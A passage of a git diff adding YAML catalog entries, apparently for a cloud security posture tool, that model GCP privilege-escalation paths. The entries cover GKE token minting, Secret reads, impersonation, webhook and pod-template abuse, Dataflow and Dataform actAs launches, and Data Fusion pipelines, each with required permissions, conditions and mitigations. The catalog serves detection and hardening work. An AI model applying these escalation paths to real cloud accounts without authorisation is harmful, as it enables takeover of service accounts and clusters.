- gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.nodes.proxy and enable Workload Identity Federation for GKE. + notes: Exact node-pool configuration is joined to a labeled Kubernetes Node and a running Pod on it. Missing or ambiguous joins, private API endpoints, and Autopilot node restrictions remain unresolved. + +- id: gcp-container-serviceaccounts-createtoken + provider: gcp + service: container + title: Mint a token for a privileged Kubernetes service account through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerserviceaccountscreatetoken + source_revision: 171e422 + summary: The source can obtain the privileges of every Kubernetes service account in GKE clusters covered by its container.serviceAccounts.createToken grant. That is cluster-admin when one of those KSAs is admin-equivalent. + requires: + all_of: + - action: container.serviceAccounts.createToken + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_token_request_ksa: true + scope: cluster + aggregate_as: "KSAs of GKE cluster {target.scope}" + conditions: + - id: ksa_rbac + description: The reached privileges are the Kubernetes RBAC (and any Workload Identity binding) of each KSA. The edge reaches cluster-admin only through a KSA that is cluster-admin-equivalent. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.serviceAccounts.createToken (roles/container.developer and above) and avoid cluster-admin KSAs. + notes: GKE clusters ship system KSAs in kube-system with broad RBAC; whether one is cluster-admin-equivalent depends on version. The evaluator requires an existing non-deleting KSA in the exact running cluster and checks API reachability. container.clusters.get is required by GKE's IAM-authenticated API flow for a Google identity (HackTricks @171e422); a caller holding a native Kubernetes credential could use RBAC create on serviceaccounts/token instead (k8s catalog). + +- id: gcp-container-secrets-read-ksa-token-secret + provider: gcp + service: container + title: Read Kubernetes service-account token Secrets through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containersecretsget--containersecretslist + source_revision: 171e422 + summary: The source can obtain the privileges of Kubernetes service accounts that have a kubernetes.io/service-account-token Secret, in GKE clusters covered by its container.secrets.get or container.secrets.list grant. That is cluster-admin when such an account is admin-equivalent. + requires: + all_of: + - action: container.clusters.get + resource: "{target.scope}" + any_of: + - - action: container.secrets.get + resource: "{target.scope}" + - - action: container.secrets.list + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_secret_ksa: true + scope: cluster + aggregate_as: "KSAs with token Secrets in GKE cluster {target.scope}" + conditions: + - id: token_secret_exists + description: The edge holds only if the cluster has a kubernetes.io/service-account-token Secret. Since Kubernetes 1.24 these are no longer auto-created per service account, so only manually created or legacy token Secrets count. The reached privileges are the RBAC of the KSA that the Secret references; this reaches cluster-admin only when that KSA is cluster-admin-equivalent. + - id: secret_name_known_for_get + description: With container.secrets.get alone, the Secret name and namespace must be known. container.secrets.list returns Secret data directly. + - id: api_server_reachable + description: The cluster API server must be reachable from the source (private endpoint and authorized networks may limit this). + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Remove container.secrets.get/list from broad project-level roles (roles/container.developer, roles/container.admin, roles/editor). Delete legacy service-account token Secrets and use short-lived TokenRequest tokens instead. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/concepts/access-control + - https://docs.cloud.google.com/iam/docs/roles-permissions/container + - https://kubernetes.io/docs/concepts/configuration/secret/#serviceaccount-token-secrets + notes: GKE authorizes a request if either IAM or Kubernetes RBAC allows it. A project-level IAM grant of container.secrets.get/list therefore reads Secrets in every namespace of every cluster in the project, whatever the RBAC. The k8s catalog evaluates RBAC only. A token Secret must reference the exact current KSA UID and must not carry a legacy-token-invalid-since label. Secret metadata omits token bytes, so a populated UID annotation is the control-plane evidence for token creation. A get-only path also needs a discoverable exact Secret name; otherwise it remains unresolved. + +- id: gcp-container-clusters-nodepools-create-actas + provider: gcp + service: container + title: Create a GKE cluster or node pool running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclusterscreate-or-containerclustersupdate--iamserviceaccountsactas--run-new-nodes-as-an-attacker-chosen-sa + source_revision: 171e422 + summary: The source may obtain a chosen service account's node token by creating a Standard cluster or node pool and running a pod on those nodes. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_gke_node_sa_actas: true + scope: any + aggregate_as: "Service accounts usable by GKE nodes" + conditions: + - id: run_pod + description: Reading the node token needs the source to run a pod on the new nodes. The modeled path requires cluster authentication and Pod creation through IAM or, for an existing cluster, joined Kubernetes RBAC. + - id: workload_metadata + description: The attacker can choose GCE_METADATA and cloud-platform scopes at create time; org policies may restrict these settings. + - id: cross_project_node_service_account + description: A node service account in another project also needs cross-project use enabled and the cluster project's Compute Engine and GKE service agents granted their required access. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict container.clusters.create and container.clusters.update. + notes: actAs is enforced at cluster/node-pool create time. There is no container.nodePools.* IAM permission. Google's GKE API permissions reference maps projects.locations.clusters.nodePools.create to container.clusters.update on the exact cluster. The modeled route also requires the source to authenticate to that cluster and create a pod; the new-cluster route needs those rights inherited from the project. + +- id: gcp-gkehub-rbacrolebindings-gateway + provider: gcp + service: container + title: Push fleet-managed in-cluster RBAC through a fleet RBAC role binding and connect via Connect Gateway + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubrbacrolebindingscreate--fleet-managed-in-cluster-rbac + source_revision: 6fb9ac51fd + summary: The source may gain cluster-admin-equivalent access on an exact fleet-member cluster by creating a binding to an eligible custom ClusterRole or updating a binding that already exists, provided it can reach the cluster API. + requires: + any_of: + - - action: gkehub.rbacrolebindings.create + resource: '*' + - - action: gkehub.rbacrolebindings.update + resource: '*' + target: + kind: k8s_cluster_admin + selector: + gcp_fleet_rbac_admin_target: true + scope: cluster + aggregate_as: Cluster admin through fleet RBAC on {cluster} + conditions: + - id: fleet_scope_membership + description: The target cluster and its fleet membership must be ready. A scope binding must target a scope that contains this exact membership. + - id: fleet_role_not_cluster_admin + description: The predefined ADMIN fleet role grants admin-level (edit plus RBAC management) Kubernetes access, not cluster-admin; reaching cluster-admin needs an allowed custom role mapped to an equivalent + ClusterRole, or onward pivots such as creating pods with privileged service accounts. + - id: mutating_verbs + description: Write operations through the gateway need gkehub.gateway.post/put/patch/delete and exec needs gkehub.gateway.stream. + - id: access_path + description: gkehub.memberships.setIamPolicy works by self-granting a Connect Gateway role on the membership; container.clusters.get is the direct GKE endpoint path and additionally needs network reachability + to the API server (private endpoint / master authorized networks). + - id: update_existing + description: gkehub.rbacrolebindings.update needs an existing fleet RBAC role binding to repoint to the source or to a stronger role. + - id: prior_cluster_admin + description: An existing ClusterRoleBinding already giving this Google user broad cluster administration is not a new privilege gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict gkehub.rbacrolebindings.* and gkehub.gateway.* (both included in basic roles/editor). + notes: 'HackTricks @6fb9ac51fd: exact membership or scope create, or update on an existing exact binding, plus an observed broad custom ClusterRole and a gateway or direct access path. Predefined Fleet ADMIN is below Kubernetes cluster-admin. A Fleet Admin can self-grant gateway transport through gkehub.memberships.setIamPolicy.' + +- id: gcp-gkehub-features-configmanagement + provider: gcp + service: container + title: Point fleet Config Management at an attacker source to push manifests into member clusters + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#config-management-source-change-for-a-fleet-member + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: The source may gain the Config Sync reconciler's privileges on a joined fleet-member cluster when it can change that member's Config Management source through the fleet Feature or MembershipFeature API. + requires: + any_of: + - - action: gkehub.features.create + resource: "*" + - - action: gkehub.features.update + resource: "*" + - - action: gkehub.membershipfeatures.create + resource: "*" + - - action: gkehub.membershipfeatures.update + resource: "*" + target: + kind: k8s_cluster_admin + selector: + gcp_fleet_config_management_target: true + scope: cluster + aggregate_as: "Cluster admin of joined fleet member {target.scope}" + conditions: + - id: member_targeting + description: The matching fleet Feature or MembershipFeature mutation must target this member; Config Sync must be supported and its selected Git or OCI source reachable. + - id: configsync_privilege + description: Pushed manifests are applied by ConfigSync with its in-cluster RBAC (normally cluster-wide); admission policies may still reject privileged workloads. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: critical + mitigation: Restrict Config Management Feature and MembershipFeature mutations to trusted fleet operators and use limited Config Sync reconciler roles where possible. + +- id: gcp-container-clusters-impersonate + provider: gcp + service: container + title: Impersonate privileged Kubernetes users or groups through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersimpersonate--kubernetes-usergroup-impersonation---as-groupsystemmasters + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin on GKE Standard clusters where it holds container.clusters.impersonate, by impersonating system:masters or another privileged Kubernetes identity. + requires: + all_of: + - action: container.clusters.impersonate + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + gcp_gke_system_impersonation: true + scope: cluster + aggregate_as: "Cluster admin of GKE cluster {target.scope}" + conditions: + - id: autopilot_or_no_system_impersonation + description: Autopilot clusters (and Standard clusters with the no-system-impersonation policy) reject impersonation of system users and groups such as system:masters; there only user-defined identities with existing RBAC are reachable. + - id: api_server_reachable + description: Private endpoints / master authorized networks require network reachability to the API server. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusters.impersonate (roles/container.admin) outside cluster administrators; enable no-system-impersonation where supported. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/iam + - https://docs.cloud.google.com/kubernetes-engine/docs/concepts/autopilot-security + notes: GKE authorizes impersonation headers through its IAM authorizer fallback, so no RBAC binding is needed. + +- id: gcp-container-updatenodepool-expose-node-sa + provider: gcp + service: container + title: Downgrade a node pool's workload metadata mode to expose its service account to pods + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate-updatenodepool--expose-an-existing-node-pools-sa-to-pods + source_revision: 171e422 + summary: The source can obtain the privileges of the node service account of GKE Standard node pools in clusters where it holds container.clusters.update, by switching the pool from GKE_METADATA to GCE_METADATA and reading the token from a pod. + requires: + all_of: + - action: container.clusters.update + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_gke_nodepool_metadata_downgrade: true + scope: any + aggregate_as: "GKE node pool SAs of clusters the source can update" + conditions: + - id: run_pod_on_pool + description: The source also needs a way to run or exec into a pod on that pool (container.pods.create/exec or in-cluster RBAC). + - id: access_scopes + description: The token is limited by the node VMs' access scopes. + - id: standard_only + description: Autopilot clusters do not expose the setting. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.clusters.update (roles/container.admin, roles/container.clusterAdmin, roles/editor) and use low-privilege node service accounts. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: No actAs is checked because the node SA does not change. The NodePools update REST call is authorized by container.clusters.update. The evaluator requires an exact Standard pool currently using GKE_METADATA and a separate Pod create, controller write, Pod exec/update or node-proxy path that can read metadata on that pool. A cluster-update grant alone does not reach the node SA. Cross-project node SAs remain eligible when actually attached to that pool. + +- id: gcp-container-mutatingwebhookconfigurations-write + provider: gcp + service: container + title: Install or repoint a mutating admission webhook to rewrite admitted pods + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containermutatingwebhookconfigurationscreate--containermutatingwebhookconfigurationsupdate + source_revision: 171e422 + summary: The source may reach a Kubernetes service account through a new or repointed mutating webhook when a matching pod is admitted after the change. + requires: + all_of: + - action: container.clusters.get + resource: "{target.scope}" + any_of: + - - action: container.mutatingWebhookConfigurations.create + resource: "{target.scope}" + - - action: container.mutatingWebhookConfigurations.update + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_webhook_ksa_path: true + scope: cluster + aggregate_as: "KSAs of pods admitted by GKE cluster {target.scope}" + conditions: + - id: webhook_backend + description: The source must control a TLS webhook backend reachable from the API server (an external URL or an in-cluster service it controls) and a rule/scope that matches the victim pods. + - id: victim_admission + description: The edge materialises only when a pod using the target KSA is created or updated after the change; a running pod with a usable token is evidence of a current workload, but its future admission is still conditional. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: high + mitigation: Restrict container.mutatingWebhookConfigurations.* (roles/container.admin) and monitor admission-webhook configuration changes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: Create allows a new configuration; update requires an existing configuration in the exact cluster. The backend, webhook match and future pod admission remain conditional. Autopilot prevents interception of managed namespaces, including kube-system. + +- id: gcp-container-pod-template-ksa + provider: gcp + service: container + title: Create or update a pod-template workload that runs as a chosen Kubernetes service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of every Kubernetes service account (and, through Workload Identity, the Google service accounts bound to them) in GKE clusters where GKE IAM lets it create pods or create/update pod-template controllers. + requires: + any_of: + - - action: container.pods.create + resource: "{target.scope}" + - - action: container.deployments.create + resource: "{target.scope}" + - - action: container.daemonSets.create + resource: "{target.scope}" + - - action: container.jobs.create + resource: "{target.scope}" + - - action: container.cronJobs.create + resource: "{target.scope}" + - - action: container.statefulSets.create + resource: "{target.scope}" + - - action: container.replicaSets.create + resource: "{target.scope}" + - - action: container.replicationControllers.create + resource: "{target.scope}" + - - action: container.deployments.update + resource: "{target.scope}" + - - action: container.daemonSets.update + resource: "{target.scope}" + - - action: container.statefulSets.update + resource: "{target.scope}" + - - action: container.cronJobs.update + resource: "{target.scope}" + - - action: container.replicaSets.update + resource: "{target.scope}" + - - action: container.replicationControllers.update + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_pod_template_ksa: true + scope: cluster + aggregate_as: "KSAs selectable in pod templates of GKE cluster {target.scope}" + conditions: + - id: ksa_rbac + description: The reached privileges are the Kubernetes RBAC of each KSA and, with Workload Identity Federation for GKE, the Google service accounts that grant roles/iam.workloadIdentityUser to that KSA member. + - id: token_mounted + description: The pod must receive a KSA token (automountServiceAccountToken not disabled for that pod, or a projected token volume) or use the GKE metadata server for Workload Identity. + - id: admission + description: Admission policies (Pod Security, Policy Controller, Binary Authorization) may reject the workload or the chosen KSA / image. + - id: api_server_reachable + description: The API server must be reachable (or Connect Gateway access). + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Restrict container.pods.create and pod-controller create/update permissions (roles/container.developer and above), avoid privileged KSAs, and grant roles/iam.workloadIdentityUser only to dedicated KSAs in namespaces untrusted principals cannot write to. + references: + - https://kubernetes.io/docs/concepts/security/service-accounts/ + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: GKE IAM authorizes the request without separate Kubernetes RBAC, so this edge is not visible to the in-cluster k8s catalog. Update-only paths require an existing mutable Pod-template controller in the target KSA's namespace. Job templates cannot switch service accounts through jobs.update. container.pods.update alone only swaps an existing Pod's image and keeps its KSA; it is left out here (node SA path in gcp-container-pod-template-node-sa). The KSA -> Google SA step is the k8s catalog edge k8s-cloud-gke-workload-identity. + +- id: gcp-container-namespaced-rbac-ksa + provider: gcp + service: container + title: Grant oneself namespace RBAC beyond held permissions through GKE IAM bind or escalate + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesbind--containerclusterrolesbind + source_revision: 6fb9ac51fd + summary: The source may reach a Kubernetes service account by granting itself namespace rights to create a pod as that account or mint its token. + requires: + all_of: + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_namespaced_rbac_ksa_path: true + scope: cluster + aggregate_as: "KSAs of namespaces the source can self-grant RBAC in on GKE cluster {target.scope}" + conditions: + - id: strong_role_available + description: Binding needs a referenced Role or ClusterRole granting Pod creation or service account token creation in the target namespace. Updating a RoleBinding cannot change its roleRef. Escalating a Role needs a binding that already reaches the source. + - id: namespace_scope + description: The grant is namespace-scoped; reaching a KSA needs the source to run a pod as that KSA or mint its token in the same namespace. Cluster-scoped objects stay out of reach. + - id: api_server_reachable + description: The API server must be reachable (or Connect Gateway access). + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Do not grant container.roles.bind/escalate or container.clusterRoles.bind (roles/container.admin, roles/container.clusterAdmin) outside cluster administrators. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: HackTricks @6fb9ac51fd states the bind permission follows the referenced role kind, not whether the binding is namespaced. The cluster-wide variants are gcp-container-clusterroles-bind and gcp-container-clusterroles-escalate. GKE IAM container.* grants apply to every namespace of every cluster in the project. + +- id: gcp-container-pods-exec-running-ksa + provider: gcp + service: container + title: Reach the KSA of a running pod through GKE exec + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsexec + source_revision: 8d6a341c8a + summary: Exec reaches only KSAs whose tokens are available in running pods of the covered cluster. + requires: + all_of: + - action: container.pods.exec + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_pod_exec_ksa: true + scope: cluster + outcome: credentials + conditions: + - id: pod_exec_usable + description: A named running container must admit exec, contain a usable executable, and mount a token for its own KSA that the Kubernetes API accepts. + blockers: [gcp_deny_policy] + confidence: conditional + severity: high + mitigation: Restrict GKE pod exec and avoid broadly privileged workload service accounts. + +- id: gcp-container-nodes-proxy-running-ksa + provider: gcp + service: container + title: Reach the KSA of a running pod through the kubelet proxy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containernodesproxy + source_revision: 8d6a341c8a + summary: The source may reach a Kubernetes service account token by executing in a running container on a node through the kubelet proxy. + requires: + all_of: + - action: container.nodes.proxy + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_running_pod: true + gcp_gke_node_proxy_ksa: true + scope: cluster + outcome: credentials + conditions: + - id: kubelet_exec_usable + description: The kubelet proxy must expose a command-execution endpoint for the matched running container, and the client must speak the streaming protocol. + blockers: [gcp_deny_policy] + confidence: conditional + severity: high + mitigation: Restrict node proxy and isolate privileged workload service accounts. + +- id: gcp-container-pods-update-running-ksa + provider: gcp + service: container + title: Reach the KSA of an existing pod by changing its container image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 4e9b5eaaa6 + summary: A pod image update can execute attacker code with the existing running pod’s mounted KSA token. + requires: + all_of: + - action: container.pods.update + resource: '{target.scope}' + - action: container.clusters.get + resource: '{target.scope}' + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + gcp_gke_pod_update_ksa: true + scope: cluster + outcome: credentials + conditions: + - id: existing_pod + description: A running pod using this KSA must have a mutable container image and an available token; the update cannot change its KSA. + - id: admission + description: Admission and Binary Authorization must allow the replacement image. + - id: api_server + description: The source must reach the cluster API server. + confidence: conditional + severity: high + mitigation: Restrict GKE pod update on namespaces with privileged KSAs and enforce image admission. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/ + - https://kubernetes.io/docs/concepts/security/service-accounts/ + notes: The path is inferred from a named running Pod with an image-bearing container that mounts the target KSA token; a separate observed patch record is not required. The result remains conditional on admitting and running a replacement image. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml new file mode 100644 index 0000000000..a060138506 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml @@ -0,0 +1,113 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataflow privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataflow-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Dataflow has no resource-level IAM; worker VMs run as the job's worker SA. + +- id: gcp-dataflow-jobs-create-actas + provider: gcp + service: dataflow + title: Launch a Dataflow job with a chosen worker service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#dataflowjobscreate--iamserviceaccountsactas--execute-code-as-a-selected-worker-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and that the Dataflow service agent can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: dataflow.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_dataflow_flex_launch_path: true + scope: same_project + aggregate_as: "Service accounts usable as Dataflow worker SA in {project}" + conditions: + - id: launch_permissions + description: A regional Flex Template launch also needs project read and staging bucket access; the public YAML Flex Template can carry caller-supplied pipeline code. + - id: service_agent_access + description: Workers only start if the Dataflow and Compute Engine service agents can use the chosen SA and the Dataflow service agent can create workers. + - id: worker_role + description: The worker SA needs Dataflow Worker and read/write access to a staging bucket. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor and roles/owner bundle both dataflow.jobs.create and actAs. + references: + - https://cloud.google.com/dataflow/docs/concepts/security-and-permissions + +- id: gcp-dataflow-datapipelines-create-actas + provider: gcp + service: datapipelines + title: Create a scheduled Data Pipeline that relaunches Dataflow as a chosen worker service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#datapipelinespipelinescreate--recurring-dataflow-run-as-sa-via-a-scheduled-data-pipeline-cron-persistence + source_revision: 4e9b5eaaa6 + summary: The source can obtain the privileges of service accounts in the project on which it holds iam.serviceAccounts.actAs, by creating a Data Pipeline whose Dataflow launch spec runs attacker-influenced pipeline code as that worker service account. + requires: + all_of: + - action: datapipelines.pipelines.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_datapipelines_scheduled_template_path: true + scope: same_project + aggregate_as: "Service accounts usable as Data Pipelines worker SA in {project}" + conditions: + - id: trigger + description: A batch pipeline needs a schedule in a supported region. The caller must be able to act as the chosen Scheduler SA as well as the worker SA; setting both to one SA covers only the caller's actAs check. The Scheduler SA also needs its own Service Account User grant for the launch. A pipeline without a schedule needs a separate pipelines.run caller and is outside this entry. + - id: payload + description: A Flex launch can use Google's public regional Yaml_Template with caller-supplied Beam YAML in the yaml_pipeline parameter, or another template that reads attacker-controlled code. Inline YAML is a parameter of the Flex Template, not a separate Data Pipelines workload type. + - id: service_agent_access + description: The Data Pipelines service agent must be able to create Scheduler and Dataflow jobs, and the Dataflow service agent must be able to use the worker SA (see gcp-dataflow-jobs-create-actas). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/datapipelines.admin and grant actAs only on specific Dataflow worker SAs. + references: + - https://cloud.google.com/dataflow/docs/guides/data-pipelines + notes: Same actAs gate as dataflow.jobs.create; Data Pipelines adds a recurring trigger that survives revocation of the source. +- id: gcp-dataflow-udf-template-bucket-write + provider: gcp + service: dataflow + title: Overwrite a UDF or YAML job template in Cloud Storage consumed by Dataflow workers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#storageobjectscreate--storageobjectsdelete--poison-a-trusted-dataflow-artifact + source_revision: 171e422 + summary: The source can obtain the privileges of the worker service account of Dataflow jobs whose UDF or template objects it can overwrite. + requires: + all_of: + - action: storage.objects.create + resource: '*' + - action: storage.objects.delete + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_dataflow_artifact_overwrite_path: true + scope: any + aggregate_as: Worker SAs of Dataflow jobs consuming writable UDFs/templates + conditions: + - id: timing + description: The modified file is only picked up when the job starts or new workers spin up (autoscaling, new run); jobs already running with loaded code are unaffected until then. + - id: overwrite_rights + description: Replacing the live generation of an existing object needs storage.objects.create and storage.objects.delete; storage.objects.update only changes metadata and storage.objects.get is only needed to read the original. The consumer must reference the object by name or unpinned latest generation, and retention policies or object holds block replacement. A worker package with a pinned sha256 rejects modified contents and is not a viable target without control of the expected checksum. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Keep UDFs and templates in buckets writable only by the deployment pipeline and enable object versioning/retention. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: Google describes shadow resource poisoning for mutable templates, staging dependencies and UDFs. Worker packages with a recorded sha256 are checked before use. Impact is bounded to the worker SA's permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml new file mode 100644 index 0000000000..2fe4c6a06d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml @@ -0,0 +1,51 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataform privilege escalation techniques (run-as service account limited to BigQuery jobs). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataform-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Google enforces "strict act-as mode" on all repositories: the caller needs iam.serviceAccounts.actAs on the effective +# service account for repository serviceAccount changes, manual workflow invocations, workflow configs and release configs. +# Scheduled runs are started by the Dataform service agent, which must hold Token Creator (and Service Account User) on +# the effective SA. Compilation runs in Google's environment; only the resulting BigQuery jobs run as the SA. + +- id: gcp-dataform-workflow-invocation-actas + provider: gcp + service: dataform + title: Run a Dataform workflow invocation as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformrepositoriescreate--iamserviceaccountsactas--create-an-attacker-controlled-run-as-repository + source_revision: 171e422 + summary: A caller that can act as a service account may run authored Dataform SQL through an exact repository or enabled creator grant when the Dataform service agent can use that account and the SQL can read or export a protected table or create a table in a protected dataset. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: dataform_workflow + gcp_actas_granted_on_target: true + scope: any + outcome: bounded_authority + aggregate_as: "Service accounts usable as Dataform workflow identity in {project}" + conditions: + - id: exact_repository_route + description: The caller must hold a complete code-write, compilation, and invocation route on one repository, or be eligible for the creator admin grant in one enabled location. + - id: exact_bigquery_gain + description: The service account must run jobs and either read a named ordinary table into a same-location caller-readable dataset, export it to a caller-readable bucket, or create a table in a named dataset where the caller lacks write access. + - id: service_agent_token_creator + description: The Dataform service agent (service-@gcp-sa-dataform) must hold Token Creator on the target SA, otherwise invocations fail. + - id: cross_project_attachment + description: A repository using a service account from another project also needs the target project's effective cross-project attachment policy explicitly disabled. + - id: create_self_admin + description: repositories.create alone suffices because the creator can be granted roles/dataform.admin on the new repository at creation; repositories.setIamPolicy self-grants the same on an existing repository. + - id: bigquery_only + description: The SA identity is used only for BigQuery jobs (queries, DDL/DML, EXPORT DATA), not handed to the source as a general token. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant actAs only on dedicated Dataform SAs, do not grant the Dataform service agent Token Creator on privileged SAs, and restrict roles/dataform.admin and roles/dataform.editor. + references: + - https://docs.cloud.google.com/dataform/docs/strict-act-as-mode + - https://docs.cloud.google.com/dataform/docs/required-access + notes: Covers the repository serviceAccount, per-invocation invocationConfig.serviceAccount, repo setIamPolicy and direct-commit variants. Google's strict act-as mode (enforced for all repositories) requires actAs on the effective SA for repository/workflow-config creation and updates, release-config updates and manual invocations, so actAs is always required here (HackTricks at 171e422 agrees). diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml new file mode 100644 index 0000000000..c446b208d0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml @@ -0,0 +1,112 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Cloud Data Fusion privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-data-fusion-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: datafusion_instance -> the pipeline VM service account(s) of the compute profiles of the Data +# Fusion instance {target.host_resource} (default: the Compute Engine default SA). + +- id: gcp-datafusion-pipelines-create-execute + provider: gcp + service: datafusion + title: Deploy and run a code-capable Data Fusion pipeline as the pipeline VM service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#create-and-execute-a-pipeline-as-its-configured-vm-service-account + 